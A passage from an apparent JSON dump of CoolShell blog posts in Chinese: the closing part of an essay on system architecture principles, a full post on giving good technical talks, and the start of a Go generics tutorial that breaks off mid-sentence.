**是否可以降低技术门槛加快整个团队的开发流程**。能够加快整个团队的工程流程，快速发布，是软件工程一直在解决的问题，所以，系统架构需要能够进行并行开发，并行上线和并行运维，而不会让某个团队成为瓶颈点。（注：就算拖累团队的原因是组织构架，也不妨碍我们做出并行的系统架构设计）\n* **是否可以让整个系统可以运行的更稳定**。要让整个系统可以运行的更为的稳定，提升整个系统的 SLA，就需要对有计划和无计划的停机做相应的解决方案（参看《[关于高可用的架构](https://coolshell.cn/articles/17459.html \"关于高可用的系统\")》）\n* **是否可以通过简化和自动化降低成本**。最高优化的成本是人力成本，人的成本除了慢和贵，还有经常不断的 human error。如果不能降低人力成本，反而需要更多的人，那么这个架构设计一定是失败的。除此之外，是时间成本，资金成本。\n\n\n如果一个系统架构不能在上面三个事上起到作用，那就没有意义了。\n\n\n\n#### 原则二：以应用服务和 API 为视角，而不是以资源和技术为视角\n\n\n国内很多公司都会有很多分工，基本上都会分成运维和开发，运维又会分成基础运维和应用运维，开发则会分成基础核心开发和业务开发。不同的分工会导致完全不同的视角和出发点。比如，基础运维和开发的同学更多的只是关注资源的利用率和性能，而应用运维和业务开发则更多关注的是应用和服务上的东西。这两者本来相关无事，但是因为分布式架构的演进，导致有一些系统已经说不清楚是基础层的还是应用层的了，比如像服务治理上的东西，里面即有底层基础技术，也需要业务的同学来配合，包括 k8s 也样，里面即有底层的如网络这样的技术，也有需要业务配合的 readniess和 liveness 这样的健康检查，以及业务应用需要 configMap 等等 ……\n\n\n**这些东西都让我感觉到所谓 DevOps，其实就是因为很多技术和组件已经分不清是 Dev 还是 Ops 的了，所以，需要合并 Dev和 Ops**。而且，整个组织和架构的优化，已经不能通过调优单一分工或是单一组件能够有很大提升的了。其需要有一种自顶向下的，整体规划，统一设计的方式，才能做到整体的提升（可以试想一下城市交通的优化，当城市规模到一定程度的时候，整体的性能你是无法通过优化几条路或是几条街区来完成的，你需要对整个城市做整体的功能体的规划才可能达到整体效率的提升）。而为了做到整体的提升，需要所有的人都要有一个统一的视角和目标，这几年来，我觉得这个目标就是——**要站在服务和 对外API的视角来看问题，而不是技术和底层的角度。**\n\n\n#### 原则三：选择最主流和成熟的技术\n\n\n技术选型是一件很重要的事，技术一旦选错，那会导致整个架构需要做调整，而对架构的调整重来都不是一件简单的事，我在过去几年内，当系统越来越复杂的时候，用户把他们的  PHP，Python, .NET，或 Node.js 的架构完全都迁移到 Java + Go 的架构上来的案例不断的发生。这个过程还是非常痛苦的，但是你没有办法，当你的系统越来越复杂，越来越大时，你就再也不能在一些玩具技术上玩了，你需要的更为工业化的技术。\n\n\n* **尽可能的使用更为成熟更为工业化的技术栈，而不是自己熟悉的技术栈**。 所谓工业化的技术栈，你可以看看大多数公司使用的技术栈，比如：互联网，金融，电信……等等 ，大公司会有更多的技术投入，也需要更大规模的生产，所以，他们使用的技术通常来说都是比较工业化的。在技术选型上，千万不要被——“你看某个视频公司也在用这个技术”，或是一些在论坛上看到的一些程序员吐槽技术的观点（没有任何的数据，只有自己的喜好）来决定自己的技术，还是看看主流大多数公司实际在用的技术栈，会更靠谱一些。\n* **选择全球流行的技术，而不是中国流行的技术**。技术这个东西一定是一个全球化的东西，不是一个局域化的事。所以，一定要选国际化的会更好。另外，千万不要被某些公司的“特别案例”骗过去了，那怕这个案例很性感，关键还是要看解决问题的思路和采用的技术是否具有普世性。只有普世性的技术有更强的生命力。\n* **尽可能的使用红利大的主流技术，而不要自己发明轮子，更不要魔改**。我见过好些个公司魔改开源软件，比如有个公司同魔改mesos，最后改着改着发现自己发明另一个 kubernetes。我还见过很多公司或技术团队喜欢自己发明自己的专用轮子，最后都会被主流开源软件所取代。完全没有必要。不重新发明轮子，不魔改，不是因为自己技术不能，而是因为，这个世界早已不是自己干所有事的年代了，这个时代是要想尽方法跟整个产业，整个技术社区融合和合作，这样才会有最大的收益。那些试图因为某个特例需要自成一套的玩法，短期没问题，但长期来说，我都不看好。\n* **绝大多数情况下，如无非常特殊要求，选 Java基本是不会错的**。一方面，这是因为 Java 的业务开发的生产力是非常好的，而且有 Spring 框架保障，代码很难写烂，另外，Java 的社区太成熟了，你需要的各种架构和技术都可以很容易获得，技术红利实在是太大。这种运行在JVM上的语言有太多太多的好处了。在 Java 的技术栈上，你的架构风险和架构的成本（无论是人力成本，时间成本和资金成本）从长期来说都是最优的\n\n\n在我见过的公司中，好些公司的架构都被技术负责人个人的喜好、擅长和个人经验给绑架了，完全不是从一个客观的角度来进行技术选型。其实，从 0 到 1 的阶段，你用什么样的技术都行，如果你做一个简单的应用，没有事务处理没有复杂的交易流程，比如一些论坛、社交之类的应用，你用任何语言都行。但是如果有一天你的系统变复杂了，需要处理交易了，量也上来了，从 1 到 10，甚至从 10 到 100，你的开发团队也变大了，需要构建的系统越来越大，你可能会发现你只有一个选择，就是 Java。想想京东从.NET 到 Java，淘宝从 PHP 到 Java……\n\n\n注，一些有主观喜好的人一定会对我上述对 Java 的描述感到不适，我还用一些证据说明一下——全中国所有的电商平台，几百家银行，三大电信运营商，所有的保险公司，劵商的系统，医院里的系统，电子政府系统，等等，基本都是用 Java 开发的，包括 AWS 的主流语言也是 Java，阿里云一开始用 C++/Python 写控制系统，后面也开始用 Java ……你可能会说 B站是用 go语言，但是你可能不知道 B 站的电商和大数据是用 Java……懂着数据分析的同学，建议上各大招聘网站上搜一下 Java 的职位数量，你就知道某个技术是否主流和热门……\n\n\n#### 原则四：完备性会比性能更重要\n\n\n我发现好些公司的架构师做架构的时候，首要考虑的是架构的性能是否能够撑得住多大多大的流量，而不是考虑系统的完备性和扩展性。所以，我已经多次见过这样的案例了，一开始直接使用 MongoDB 这样的非关系型数据库，或是把数据直接放在 Redis 里，而直接放弃关系型数据库的数据完备性的模型，而在后来需要在数据上进行关系查询的时候，发现 NoSQL 的数据库在 Join 上都表现的太差，然后就开始各种飞线，为了不做 Join 就开始冗余数据，然而自己又维护不好冗余数据后带来的数据一致性的问题，导致数据上的各种错乱丢失。\n\n\n所以，我给如下的一些如下的架构原则：\n\n\n* **使用最科学严谨的技术模型为主，并以不严谨的模型作为补充**。对于上面那个案例来说，就是——永远使用完备支持 ACID 的关系型数据库，然后用 NoSQL 作补充，而不是完全放弃关系型数据库。这里的原则就是所谓的“先紧后松”，一开始紧了，你可以慢慢松，但是开始松了，以后你想紧再也紧不过来了。\n* **性能上的东西，总是有很多解的**。我这么多年的经历告诉我，性能上的事，总是有解的，手段也是最多的，这个比起架构的完备性和扩展性来说真的不必太过担心。\n\n\n为了追求所谓的性能，把整个系统的完备性丢失掉，相当地得不偿失。\n\n\n#### 原则五：制定并遵循服从标准、规范和最佳实践\n\n\n这个原则是非常重要的，因为只有服从了标准，你的架构才能够有更好的扩展性。比如：我经常性的见到很多公司的系统既没有服从业界标准，也没有形成自己公司的标准，感觉就像一群乌合之众一样。最典型的例子就是 HTTP 调用的状态返回码。业内给你的标准是 200表示成功，3xx 跳转，4xx 表示调用端出错，5xx 表示服务端出错，我实在是不明白为什么无论成功和失败大家都喜欢返回 200，然后在 body 里指出是否error（前两年我在微信公众号里看到一个有一定名气的互联网老兵推荐使用无论正确还是出错都返回 200 的做法，我在后台再三确认后，我发现这样的架构师真是害人不浅）。这样做最大的问题是——监控系统将在一种低效的状态下工作。监控系统需要把所有的网络请求包打开后才知道是否是错误，而且完全不知道是调用端出错还是服务端出错，于是一些像重试或熔断这样的控制系统完全不知道怎么搞（如果是 4xx错，那么重试或熔断是没有意义的，只有 5xx 才有意义）。**有时候，我会有种越活越退步的感觉，错误码设计这种最基本最基础的东西为什么会没有？并且一个公司会任由着大家乱来？这些基础技能怎么就这样丢掉了？**\n\n\n还有，我还见过一些公司，他们整个组织没有一个统一的用户 ID 的设计，各个系统之间同步用户的数据是通过用户的身份证 ID，是的，就是现实世界的身份证 ID，包括在网关上设置的用户白名单居然也是用身份证 ID。我对这个公司的内的用户隐私管理有很大的担忧。一个企业，一个组织，如果没有标准和规范，也就会有抽象，这一定是要出各种乱子的。\n\n\n下面，我罗列一些你需要注意的标准和规范（包括但不限于）：\n\n\n* **服务间调用的协议标准和规范**。这其中包括 Restful API路径, HTTP 方法、状态码、标准头、自定义头等，返回数据 JSon Scheme……等。\n* **一些命名的标准和规范**。这其中包括如：用户 ID，服务名、标签名、状态名、错误码、消息、数据库……等等\n* **日志和监控的规范**。这其中包括：日志格式，监控数据，采样要求，报警……等等\n* **配置上的规范**。这其中包括：操作系统配置、中间件配置，软件包……等等\n* **中间件使用的规范**。数据库，缓存、消息队列……等等\n* **软件和开发库版本统一**。整个组织架构内，软件或开发库的版本最好每年都升一次级，然后在各团队内统一。\n\n\n这里重要说一下两个事：\n\n\n* **Restful API 的规范**。我觉得是非常重要的，这里给两个我觉得写得最好的参考：[Paypal](https://github.com/paypal/api-standards/blob/master/api-style-guide.md) 和 [Microsoft](https://github.com/microsoft/api-guidelines) 。Restful API 有一个标准和规范最大的好处就是监视可以很容易地做各种统计分析，控制系统可以很容易的做流量编排和调度。\n* **另一个是服务调用链追踪**。对于服务调用链追踪来说，基本上都是参考于 [Google Dapper](https://research.google/pubs/pub36356/) 这篇论文，目前有很多的实现，最严格的实现是 [Zipkin](https://zipkin.io/)，这也是 Spring Cloud Sleuth 的底层实现。Zipkin 贴近 Google Dapper 论文的好处在于——无状态，快速地把 Span 发出来，不消耗服务应用侧的内存和 CPU。这意味着，监控系统宁可自己死了也不能干扰实际应用。\n* **软件升级**。我发现很多公司包括 BAT，他们完全没有软件升级的活动，全靠开发人员自发。然而，这种成体系的活动，是永远不可能靠大众的自发形成的。一个公司至少一年要有一次软件版本升级的review，然后形成软件版本的统一和一致，这样会极太简化系统架构的复杂度。\n\n\n#### 原则六：重视架构扩展性和可运维性\n\n\n在我见过很多架构里，技术人员只考虑当下，但从来不考虑系统的未来扩展性和可运维性。所谓的管生不管养。如果你生下来的孩子胳膊少腿，严重畸形，那么未来是很难玩的。因为架构和软件不是写好就完的，是需要不断修改不断维护的，80%的软件成本都是在维护上。所以，如何让你的架构有更好的扩展性，可以更容易地运维，这个是比较重要的。所谓的扩展性，意味着，我可以很容易地加更多的功能，或是加入更多的系统，而所谓可运维，就是说我可以对线上的系统做任意的变更。扩展性要求的是有标准规范且不耦合的业务架构，可运维性要求的则是可控的能力，也就是一组各式各样的控制系统。\n\n\n* **通过服务编排架构来降低服务间的耦合**。比如：通过一个业务流程的专用服务，或是像 Workflow，Event Driven Architecture ， Broker，Gateway，Service Discovery 等这类的的中间件来降低服务间的依赖关系。\n* **通过服务发现或服务网关来降低服务依赖所带来的运维复杂度**。服务发现可以很好的降低相关依赖服务的运维复杂度，让你可以很轻松的上线或下线服务，或是进行服务伸缩。\n* **一定要使用各种软件设计的原则**。比如：像SOLID这样的原则（参看《[一些软件设计的原则](https://coolshell.cn/articles/4535.html \"一些软件设计的原则\")》），IoC/DIP，SOA 或 Spring Cloud 等 架构的最佳实践（参看《[SteveY对Amazon和Google平台的吐槽](https://coolshell.cn/articles/5701.html \"SteveY对Amazon和Google平台的吐槽 - 67,710 人阅读\")》中的 Service Interface 的那几条军规），分布式系统架构的相关实践（参看：《[分布式系统的事务处理](https://coolshell.cn/articles/10910.html \"分布式系统的事务处理\")》，或微软件的 《[Cloud Design Patterns](https://docs.microsoft.com/en-us/azure/architecture/patterns/)》）……等等\n\n\n#### 原则七：对控制逻辑进行全面收口\n\n\n所有的程序都会有两种逻辑，一种是业务逻辑，一种是控制逻辑，业务逻辑就是完成业务的逻辑，控制逻辑是辅助，比如你用多线程，还是用分布式，是用数据库还是用文件，如何配置、部署，运维、监控，事务控制，服务发现，弹性伸缩，灰度发布，高并发，等等，等等 ……这些都是控制逻辑，跟业务逻辑没有一毛钱关系。控制逻辑的技术深度会通常会比业务逻辑要深一些，门槛也会要高一些，所以，最好要专业的程序员来负责控制逻辑的开发，统一规划统一管理，进行收口。这其中包括：\n\n\n* **流量收口**。包括南北向和东西向的流量的调度，主要通过流量网关，开发框架 SDK或 Service Mesh 这样的技术。\n* **服务治理收口**。包括：服务发现、健康检查，配置管理、事务、事件、重试、熔断、限流……主要通过开发框架 SDK – 如：Spring Cloud，或服务网格Service Mesh等技术。\n* **监控数据收口**。包括：日志、指标、调用链……主要通过一些标准主流的探针，再加上后台的数据清洗和数据存储来完成，最好是使用无侵入式的技术。监控的数据必须统一在一个地方进行关联，这样才会产生信息。\n* **资源调度有应用部署的收口**。包括：计算、网络和存储的收口，主要是通过容器化的方案，如k8s来完成。\n* **中间件的收口**。包括：数据库，消息，缓存，服务发现，网关……等等。这类的收口方式一般要在企业内部统一建立一个共享的云化的中间件资源池。\n\n\n对此，这里的原则是：\n\n\n* **你要选择容易进行业务逻辑和控制逻辑分离的技术**。这里，Java 的 JVM+字节码注入+AOP 式的Spring 开发框架，会带给你太多的优势。\n* **你要选择可以享受“前人种树，后人乘凉”的有技术红利的技术**。如：有庞大社区而且相互兼容的技术，如：Java, Docker,  Ansible，HTTP，Telegraf/Collectd……\n* **中间件你要使用可以 支持HA集群和多租户的技术**。这里基本上所有的主流中间件都会支持 HA 集群方式的。\n\n\n#### 原则八：不要迁就老旧系统的技术债务\n\n\n我发现很多公司都很非常大的技术债务，这些债务具体表现如下：\n\n\n* **使用老旧的技术**。比如，使用HTTP1.0， Java 1.6，Websphere，ESB，基于 socket的通讯协议，过时的模型……等等\n* **不合理的设计**。比如，在 gateway 中写大量的业务逻辑，单体架构，数据和业务逻辑深度耦合，错误的系统架构（把缓存当数据库，用消息队列同步数据）……等等\n* **缺少配套设施**。比如，没有自动化测试，没有好的软件文档，没有质量好的代码，没有标准和规范……等等\n\n\n来找我寻求技术帮助的人都有各种各样的问题。我都会对他们苦口婆心地说同样的一句话——“**如果你是来找我 case-by-case 解决问题，我兴趣不大，因为，你们千万不要寄希望能够很简单的把一辆夏利车改成一辆法拉利跑车，或是把一栋地基没打好的歪楼搞正。以前欠下的技术债，都得要还，没打好的地基要重新打，没建配套设施都要建。这些基础设施如果不按照正确科学的方式建立的话，你是不可能有一个好的的系统，我也没办法帮你 case-by-case 的解决问题……**”，一开始，他们都会对我说，没问题，我们就是要还债，但是，最后发现要还的债真多，有点承受不了，就开始现原形了。\n\n\n他们开始为自己的“欠的技术债”找各种合理化的理由——给你解释各种各样的历史原因和不得以而为之的理由。谈着谈着，让我有一种感觉——他们希望得到一种什么都不改什么都不付出的方式就可以进步的心态，他们宁可让新的技术 low 下来迁就于这些技术债，把新的技术滥用地乱七八糟的。有一个公司，他们的系统架构和技术选型基本都搞错了，使用错误的模型构建系统，导致整个系统的性能非常之差，也才几千万条数据，但他们想的不是还债，不是把地基和配套设施建好，而且要把楼修的更高，上更多的系统——他们觉得现有的系统挺好，性能问题的原因是他们没一个大数据平台，所以要建大数据平台……\n\n\n我见过很多很多公司，包括大如 BAT 这样的公司，都会在原来的技术债上进行更多的建设，然后，技术债越来越大，利息越来越大，最终成为一个高利贷，再也还不了（我在《[开发团队的效率](https://coolshell.cn/articles/11656.html)》一文中讲过一个 WatchDog 的架构模式，一个系统烂了，不是去改这个系统，而是在旁边建一个系统来看着它，我很难理解为什么会有这样的逻辑，也许是为了要解决更多的就业……）\n\n\n这里有几个原则和方法我是非常坚持的，分享给大家：\n\n\n* **与其花大力气迁就技术债务，不如直接还技术债。是所谓的长痛不如短痛。**\n* **建设没有技术债的“新城区”，并通过“[防腐层](https://docs.microsoft.com/en-us/azure/architecture/patterns/anti-corruption-layer) ”的架构模型，不要让技术债侵入“新城区”**。\n\n\n#### 原则九：不要依赖自己的经验，要依赖于数据和学习\n\n\n有好些人来找我跟我说他们的技术问题，然后希望我能够给他们一个答案。我说，我需要了解一下你现有系统的情况，也就是需要先做个诊断，我只有得到这些数据后，我才可能明白真正的原因是什么 ，我才可能给你做出一个比较好的技术方案。我个人觉得这是一种对对方负责的方法，因为技术手段太多了，所有的技术手段都有适应的场景，并且有各种 trade-off，所以，只有调研完后才能做出决定。这跟医生看病是一样的，确诊病因不能靠经验，还是要靠诊断数据。在科学面前，所有的经验都是靠不住的……\n\n\n另外，如果有一天你在做技术决定的时候，开始凭自己以往的经验，那么你就已经不可能再成长了。人都是不可能通过不断重复过去而进步的，人的进步从来都是通过学习自己不知道的东西。所以，千万不要依赖于自己的经验做决定。做任何决定之前，最好花上一点时间，上网查一下相关的资料，技术博客，文章，论文等 ，同时，也看看各个公司，或是各个开源软件他们是怎么做的？然后，比较多种方案的 Pros/Cons，最终形成自己的决定，这样，才可能做出一个更好的决定。\n\n\n#### 原则十：千万要小心 X – Y 问题，要追问原始需求\n\n\n对于 [X-Y 问题](https://coolshell.cn/articles/10804.html \"X-Y Problem\")，也就是说，用户为了解决 X问题，他觉得用 Y 可以解，于是问我 Y 怎么搞，结果搞到最后，发现原来要解决的 X 问题，这个时候最好的解决方案不是 Y，而是 Z。 这种 X-Y 问题真是相当之多，见的太多太多了。所以，每次用户来找我的时候，我都要不断地追问什么是 X 问题。\n\n\n比如，好些用户都会来问我他们要一个大数据流式处理，结果追问具体要解决什么样的问题时，才发现他们的问题是因为服务中有大量的状态，需要把相同用户的数据请求放在同一个服务上处理，而且设计上导致一个慢函数拖慢整个应用服务。最终就是做一下性能调优就好了，根本没有必要上什么大数据的流式处理。\n\n\n我很喜欢追问为什么 ，这种追问，会让客户也跟着来一起重新思考。比如，有个客户来找我评估的一个技术架构的决定，从理论上来说，好像这个架构在用户的这个场景下非常不错。但是，这个场景和这个架构是我职业生涯从来没有见过的。于是，我开始追问这个为什么会是这么一个场景？当我追问的时候，我发现用户都感到这个场景的各种不合理。最后引起了大家非常深刻的研讨，最终用户把那个场景修正后，而架构就突然就变成了一个常见且成熟的的模型……\n\n\n#### 原则十一：激进胜于保守，创新与实用并不冲突\n\n\n我对技术的态度是比较激进的，但是，所谓的激进并不是瞎搞，也不是见新技术就上，而是积极拥抱会改变未来的新技术，如：Docker/Go，我就非常快地跟进，但是像区块链或是 Rust 这样的，我就不是很积极。因为，其并没有命中我认为的技术趋势的几个特征（参看《[Go,Docker 和新技术](https://coolshell.cn/articles/18190.html \"Go语言、Docker 和新技术\") 》）。当然，我也不是不喜欢的就不学了，我对区块链和 Rust 我一样学习，我也知道这些技术的优势，但我不会大规模使用它们。另外，我也尊重保守的决定，这里面没有对和错。但是，我个人觉得对技术激进的态度比起保守来说有太多的好处了。一方面来说，对于用户来说，很大程度上来说，新技术通常都表面有很好的竞争力，而且我见太多这样成功的公司都在积极拥抱新的技术的，而保守的通常来说都越来越不好。\n\n\n有一些人会跟我说，我们是实用主义，我们不需要创新，能解决当下的问题就好，所以，我们不需要新技术，现有的技术用好就行了。这类的公司，他们的技术设计第一天就在负债，虽然可以解决当下问题，但是马上就会出现新的问题，然后他们会疲于解决各种问题。最后呢，最后还是会走到新的技术上。\n\n\n这里的逻辑很简单 —— **进步永远来自于探索，探索是要付出代价的，但是收益更大**。对我而言，不敢冒险才是最大的冒险，不敢犯错才是最大的错误，害怕失去会让你失去的更多……\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [![从Gitlab误删除数据库想到的](../wp-content/uploads/2017/02/gitlab-600-150x150.jpg)](https://coolshell.cn/articles/17680.html)[从Gitlab误删除数据库想到的](https://coolshell.cn/articles/17680.html)\n* [![关于高可用的系统](../wp-content/uploads/2016/08/HighAvailability-BK-150x150.png)](https://coolshell.cn/articles/17459.html)[关于高可用的系统](https://coolshell.cn/articles/17459.html)\n* [![IoC/DIP其实是一种管理思想](../wp-content/uploads/2013/07/inverted-bookshelf_thumb-150x150.jpg)](https://coolshell.cn/articles/9949.html)[IoC/DIP其实是一种管理思想](https://coolshell.cn/articles/9949.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/6775.html)[Bret Victor – Inventing on Principle](https://coolshell.cn/articles/6775.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg](https://coolshell.cn/articles/5686.html)[多些时间能少写些代码](https://coolshell.cn/articles/5686.html)\nThe post [我做系统架构的一些原则](https://coolshell.cn/articles/21672.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2021-7-13 如何做一个有质量的技术分享.md",
    "content": "---\nlayout: post\ntitle: 如何做一个有质量的技术分享\ndate: 2021/7/13/ 5:0:46\nupdated: 2021/7/13/ 5:0:46\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2021/07/knowledge_sharing-300x169.jpeg)分享信息并不难，大多数人都能做到，就算是不善言谈性格内向的技术人员，通过博客或社交媒体，或是不正式的交流，他们都能或多或少的做到。但是如果你想要做一个有质量有高度的分享，这个就难了，所谓的有质量和有高度，我心里面的定义有两点：1）分享内容的保鲜期是很长的，2）会被大范围的传递。我们团队内每周都在做技术分享，虽然分享的主题都很有价值，但是分享的质量参差不齐，所以，想写下这篇文章 。供大家参考。\n\n\n首先，我们先扪心自问一下，我们自己觉得读到的好的技术文章是什么？我不知道大家的是什么，我个人认为的好的文章是下面这样的：\n\n\n* **把复杂的问题讲解的很简单也很清楚**。比如我高中时期读到这本1978年出版的《[从一到无穷大](https://book.douban.com/subject/1441922/)》，用各种简单通俗通懂的话把各种复杂的科学知识讲的清清楚楚。还有看过的几本很好的书，有一本是《[Windows程序设计](https://book.douban.com/subject/5273955/)》，从一个hello world的程序开始一步一步教你Windows下的原生态编程。\n* **有各种各样的推导和方案的比较，让你知其然知其所以然**。有了不同方案的比较，才可能让人有全面的认识。这个方面的经典作著是《[Effective C++](https://book.douban.com/subject/5387403/)》。\n* **原理、为什么、思路、方法论会让人一通百通**。这里面最经典的恐怕就是《[十万个为什么](https://book.douban.com/subject/5387403/)》了，在计算机方面也有几本经典书，有《[Unix编程艺术](https://book.douban.com/subject/1467587/)》、《[设计模式](https://book.douban.com/subject/1052241/)》、《[深入理解计算机系统](https://book.douban.com/subject/1230413/)》等书，以及《[The C10K Problem](http://www.kegel.com/c10k.html)》等很多技术论文。\n\n\n其实，从教科书，到专业书，再到论文，都有上面这些不错的特质。\n\n\n所以，如果你想做一个好的技术分享的话，下面是我总结出来的方法，供你参考。\n\n\n* **先描述好一个问题**。这样能够听众带入进来，如果这个问题是他们感同身受的，那是最好了。千万不要一上来就说What，或是直接冲进答案里。这样的分享是在灌输和填鸭。把Why说清楚。没有Why，直接谈What的技术分享，通常来说价值不大。\n* **How比What重要**。在讲How的时候，也就是如何解这个问题。\n\t+ 先要把问题模型说清楚，有了问题模型这个框框后，方案才有意义。\n\t+ 然后要有不同技术的比较。有了比较后，听众才会更相信你。\n\t+ 直接上What的技术细节，其实没有太大意义。\n* **一定要有Best Practice或方法论总结**，否则上不了档次的。也就是分享中大家可以得到的重要收获。\n\n\n说明了这个模型就是：**问题 –> 方案 –> 总结。这其中是有一定的心理学模型的，具体表现如下：**\n\n\n* 用问题来吸引受众，带着受众来一起思考\n* 用问题模型来框住受众的思考范围，让受众聚焦\n* 给出几种不同的解决方案，比较他们的优缺点，让受众有一种解决问题的参与感。\n* 最后，给出最佳实践，方法论或套路，因为有了前三步的铺垫，受众欣然接受。\n* 整个过程会让受众有强烈的成长感和收获感。\n\n\n这里有几个示例，也是我在我司 MegaEase 内部的技术分享，供你参考（[我个人的YouTube频道](https://www.youtube.com/user/chenhaox/videhttps://www.youtube.com/channel/UCJhxX8SXcYdNWc6QMbWKs7Aos)）\n\n\n技术分享：[Prometheus是怎么存储数据的](https://youtu.be/qB40kqhTyYM)（Youtube）\n\n\n\n技术分享：[Distributed Lock Manager](https://www.youtube.com/watch?v=VnbC5RG1fEo)（Youtube）\n\n\n\n下面是我写在我们公司内的Knowledge Sharing中的Best Practice，供参考\n\n\nSharing Guideline\n-----------------\n\n\nPlease follow the following sharing protocols\n\n\n### Understand Sharing\n\n\n* Sharing is the hard way to learn knowledge. The presenter gains the biggest advantages. not audience. 分享是学习知识的最难的方式。分享者获得的好处最最多的，而不是观众。\n* Sharing can open the knowledge door for the audience, but you have to walk to knowledge by yourself. 分享可以为听众打开知识的大门，但你能不能获得知识还要靠你自己。\n\n\n### Best Practices\n\n\nTo perform a great sharing, please follow the below practices.\n\n\n* Do not share a big topic, a small topic is better. A big topic could make the audience lose focus. Remember, [Less is More!](https://en.wikipedia.org/wiki/Minimalism#Minimalist_design_and_architecture)\n* Sharing time less than 60 mins is the best.\n* English language for slides is preferred.\n* While prepare the sharing contents, it’s better to discuss with the senior people to help you to see the whole picture, understand the good side and bad side, know what you don’t know … etc.\n* Strong Recommend Materials Outlines\n\t+ What’s the Problem?\n\t+ How to Solve the Problem?\n\t+ The Best Solution or Practice.\n\t+ The Mechanism, Key Techniques, and Source Code\n\t+ Pros/Cons\n\t+ References (Further reading)\n\n\n\n> For example, if you want to sharing a topic about Docker. the following outlines would be good one:\n> \n> \n> * What’s the major problems need to solve. (Provision, Environment, Isolation etc.)\n> * The Alternative solutions. (Puppet/Chef/Ansible, VM, LXC etc.)\n> * The Best Solution – Docker. Why?\n> * Docker’s key techniques – image, cgroup, union fs, namespace…\n> * Docker’s Pros/Cons\n> * Further reading list.\n> \n> \n> \n\n\n![](../wp-content/uploads/2021/07/截屏2021-07-13-12.53.33.png)\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\n* [![MegaEase的远程工作文化](../wp-content/uploads/2020/01/remote-150x150.jpg)](https://coolshell.cn/articles/20765.html)[MegaEase的远程工作文化](https://coolshell.cn/articles/20765.html)\n* [![别让自己“墙”了自己](../wp-content/uploads/2019/12/open-your-creative-mind-150x150.jpg)](https://coolshell.cn/articles/20276.html)[别让自己“墙”了自己](https://coolshell.cn/articles/20276.html)\nThe post [如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2021-9-4 Go编程模式 ： 泛型编程.md",
    "content": "---\nlayout: post\ntitle: Go编程模式 ： 泛型编程\ndate: 2021/9/4/ 5:44:2\nupdated: 2021/9/4/ 5:44:2\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2021/09/go-generics-1024x512.png)Go语言的1.17版本发布了，其中开始正式支持泛型了。虽然还有一些限制（比如，不能把泛型函数export），但是，可以体验了。我的这个《Go编程模式》的系列终于有了真正的泛型编程了，再也不需要使用反射或是go generation这些难用的技术了。周末的时候，我把Go 1.17下载下来，然后，体验了一下泛型编程，还是很不错的。下面，就让我们来看一下Go的泛型编程。（注：不过，如果你对泛型编程的重要性还不是很了解的话，你可以先看一下之前的这篇文章《[Go编程模式：Go Generation](https://coolshell.cn/articles/21179.html \"Go 编程模式：Go Generation\")》，然后再读一下《[Go编程模式：MapReduce](https://coolshell.cn/articles/21164.html \"Go编程模式：Map-Reduce\")》）\n\n\n### 本文是全系列中第10 / 10篇：[Go编程模式](https://coolshell.cn/articles/series/go%e7%bc%96%e7%a8%8b%e6%a8%a1%e5%bc%8f)\n\n* [Go编程模式：切片，接口，时间和性能](https://coolshell.cn/articles/21128.html)\n* [Go 编程模式：错误处理](https://coolshell.cn/articles/21140.html)\n* [Go 编程模式：Functional Options](https://coolshell.cn/articles/21146.html)\n* [Go编程模式：委托和反转控制](https://coolshell.cn/articles/21214.html)\n* [Go编程模式：Map-Reduce](https://coolshell.cn/articles/21164.html)\n* [Go 编程模式：Go Generation](https://coolshell.cn/articles/21179.html)\n* [Go编程模式：修饰器](https://coolshell.cn/articles/17929.html)\n* [Go编程模式：Pipeline](https://coolshell.cn/articles/21228.html)\n* [Go 编程模式：k8s Visitor 模式](https://coolshell.cn/articles/21263.html)\n* Go编程模式 ： 泛型编程\n\n« [上一篇文章](https://coolshell.cn/articles/21263.html \"Go 编程模式：k8s Visitor 模式\")\n#### 初探\n\n\n我们先来看一个简单的示例：\n\n\n\n\n```\npackage main\n\nimport \"fmt\"\n\nfunc print[T any] (arr []T) {\n  for _, v := range arr {\n    fmt.Print(v)\n    fmt.Print(\" \")\n  }\n  fmt.Println(\"\")\n}\n\nfunc main() {\n  strs := []string{\"Hello\", \"World\",  \"Generics\"}\n  decs := []float64{3.14, 1.14, 1.618, 2.718 }\n  nums := []int{2,4,6,8}\n\n  print(strs)\n  print(decs)\n  print(nums)\n}\n```\n\n上面这个例子中，有一个 `print()` 函数，这个函数就是想输出数组的值，如果没有泛型的话，这个函数需要写出 `int` 版，`float`版，`string` 